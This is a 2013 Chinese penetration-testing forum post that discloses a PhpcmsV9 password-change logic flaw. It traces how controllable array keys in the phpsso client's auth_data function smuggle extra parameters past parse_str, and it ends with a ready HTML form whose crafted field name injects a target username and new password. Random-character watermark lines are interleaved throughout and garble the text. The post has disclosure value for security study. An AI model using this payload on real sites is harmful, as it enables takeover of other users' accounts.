中国网络渗透测试联盟
标题:
PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发
[打印本页]
作者:
admin
时间:
2013-2-23 14:46
标题:
PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发
提到的通行证的代码:
% l: z X. l3 ?& i* C
0 P) v( |0 B) k2 O- D5 r5 Q$ `0 n- V
" j( s* e/ J6 X
parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);
0 q- f+ }( R' G0 Z4 v# w
! ]" e' z* @$ w0 }7 e
在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。
& ^* W* n- q9 N) v
& V) r+ l ^% J7 s' |& `
我把它留给了你们。
4 A6 d& }2 Y# X2 G
不知道你们发现了它没有。
1 S8 p' o' \* |! @) ?
* I" t* B% Q1 L' C
我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。
; n# c9 }- V4 c7 r
4 { Q; W! H5 t
所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。
% i1 h9 u% W7 C5 M
/ j" O: T+ e* _+ r2 z7 O
也就是
" o W% s% d7 ]
! C5 j+ t9 H: a( |$ F
username=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。
7 q2 o- Q0 F' L& ?
7 f3 z5 {7 V2 I" u" |/ e* H
要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。
8 L( d$ s! g b4 \' Y. L$ Q
+ X6 \. Y8 F+ p+ U% M
) m- p9 ]1 [9 `* j7 |5 Y; }7 g' e9 k
其实我们有这样的机会,看看代码,如下:
/ ]+ @4 L* A* `0 K8 S( }& w
4 K/ ~5 Q0 N$ l2 W1 d5 I4 |1 g- S
+ ?7 A& t' U% Y$ e' T5 A& A- `: w: u
public function auth_data($data) {
8 z3 L- u& Y& j9 E' z" _
$s = $sep = '';
, |& X Z( W8 ?$ t5 j& j
foreach($data as $k => $v) {
0 e7 \* _# ^* R1 }% ^5 y3 ]
if(is_array($v)) {
/ h: ]" e5 S& k/ z0 d6 h5 J5 W$ _
$s2 = $sep2 = '';
8 E/ R6 X$ u/ m9 n; {
foreach($v as $k2 => $v2) {
' w5 m! r' Q6 d1 A0 Z' Z' i
$s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);
# [ [5 h; A/ |7 Z7 b
$sep2 = '&';
% ]3 q* S( L. C6 a0 p* Q
}
, `8 K' a: U' D, B
$s .= $sep.$s2;
2 L) ~- O; e% K: N
} else {
& A6 F5 v! n" R3 R) R! Z. h( z$ m
$s .= "$sep$k=".$this->_ps_stripslashes($v);
. K4 f7 A% E& @. Q- A% c
}
, n3 D( }6 ]1 C b4 n \: N1 b
$sep = '&';
e$ b9 \4 D$ |% Q0 C
}
5 y/ I1 m9 A0 [7 ]7 C
0 g2 F9 S; x* |4 s, N" K. m
$auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));
" M( G+ g- M8 R5 T5 l
return $auth_s;
6 U4 x3 Q: @9 C+ ]
}
6 @' e! {# s& y u" ]3 v: X
7 ^+ {. Q1 n8 f
可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。
# a" X: T, R8 P, Q
7 j v. M/ A) \
举个例子
4 I% U3 i' B$ ~, S2 P5 m! q
2 Y1 w4 w s. @% j4 D
$a[aaa=a&bbb] = 'a';
; a" Q; O) |" _3 c7 L
' p& U8 F4 G- c3 g+ u; R. }7 e
会变成aaa=a&bbb=a
: O/ B; \( _8 u2 M' {) o1 |
: U7 C2 t& f2 d; c* ^) J
明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。
, A' Y2 m2 ]; h- [( c2 J
) _, }. W1 w u$ E
这个时候,我们可以再去看一个函数。
E; E2 u4 X6 m0 a# o- |6 d0 \/ g$ E
1 ?) u2 q0 X% O. V
就在这个文件内:
. n5 i5 A% `$ \. V! J
% L" @# P4 O: y2 L
# x7 j1 x! l5 x6 s
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {
% `- ^4 j- E2 ^ \, T/ L! x
if($email && !$this->_is_email($email)) {
0 B. V/ ~! N; \$ w1 Y' y% f
return -4;
) \& T4 L4 l" g/ \) l
}
8 |) K8 A R2 ?5 d
return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));
' i# M5 Q% E% O/ n. c. p+ I5 |
}
3 n" @' ]4 i4 k9 _/ Z; C& l
% k' h/ N h. f! w
这是向通行证发了这样一个请求。
0 s; Z8 ]2 Y' b4 V$ v8 ]3 D* T# d9 ]
! Q8 n9 ~2 t5 S' h% @# f
我们再跟到通信证代码里去看看,就会有所发现。
9 f7 s6 N! H8 R, E: D
. d7 J7 N! C' M/ s$ E% `/ r
4 a/ E2 ]( d q0 q9 g( t7 R
public function edit() {
6 J0 \3 ~2 W9 T9 Y# d7 ?; t
//能省就省,太长了不是吗?
$ [4 n3 D! d; U, b+ ^
4 y8 V# p: B2 T4 I* v" z
if($this->username) {
; ]( d- J0 }: ~# H( r
//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。
; V4 ` T( E( t/ W
$res = $this->db->update($data, array('username'=>$this->username));
* B; B0 W% g9 M3 r
} else {
) D9 w- Z c, s8 U0 H0 m9 s7 {; x
file_put_contents('typeb.txt',print_r($data,1).$this->uid);
& E& Q* a, f5 U1 ?5 g) ]- o
$res = $this->db->update($data, array('uid'=>$this->uid));
1 H1 v/ K5 B! e2 t: w: d! ~
}
. p4 k! K# O& S# U0 ?
5 x6 r* p, |' s
好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:
' z, J; M* K7 r
5 X! p7 k4 Z r1 X2 ?0 H+ n
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')
2 k3 s; [/ ^2 t
' N. Z; f' X5 f/ M% J6 a1 i7 O
很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。
, n% b; x' ?% Q6 Y2 p
2 h8 D& G1 c& G; U
我当然找到了:
# C9 ?' M; ~6 c
phpcms9/phpcms/modules/member/index.php
3 b) I/ g, \; Y& k7 L0 b0 J" y
* R4 z% T% y8 a+ Y. M
$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);
/ g3 d; _. Z+ h% b' {, j9 _
; F2 |: S8 v% O9 S) U( Q& F& M
然后就没有然后了。
& m8 y5 h2 p" R. {
' R* W* Q; Q1 t7 I& Q+ O
<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">
& u2 N, _5 i+ W! o- o# E+ x: c- }- e
<table width="100%" cellspacing="0" class="table_form">
6 V* C& a1 p& V/ V* e% b
<tr>
( V4 o* c& ]5 x6 ?; Z, c
<th width="80">邮箱:</th>
0 P! p0 `, m; r2 W( m* ~
<td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>
6 k$ l2 V0 n$ z# e8 y x0 L+ @
</tr>
* C2 f5 [" m4 v. S( y
<tr>
; \7 e, n0 o, q l" O
<th width="80">原密码:</th>
$ I7 X5 @1 u+ Y5 C2 @# A$ M+ W
<td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>
5 \& q3 M) R5 C5 g# k; k6 x$ X& N9 Z g
</tr>
* i) L3 S2 y8 b' j
<tr>
- D; Z5 M- \4 ~2 {+ o- T
<th>新密码:</th>
7 Z9 _0 C7 W7 [0 T
<td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>
* j4 E% ?( }4 M' m. b; ^$ j
</tr>
& O. ?) B9 N3 R1 [9 Q4 ^1 ^
<th></th>
+ F$ X( o- J2 W
<td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>
, V) b/ s0 p2 ~
</tr>
) b9 t* K& I. q8 G6 v; |/ J
</table>
/ V. z) z% @; N( ~
1 O! w: h8 h* M
6 r' R. O( h% w5 {! J$ z& v
</form>
$ W- n. u7 t$ W# l
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2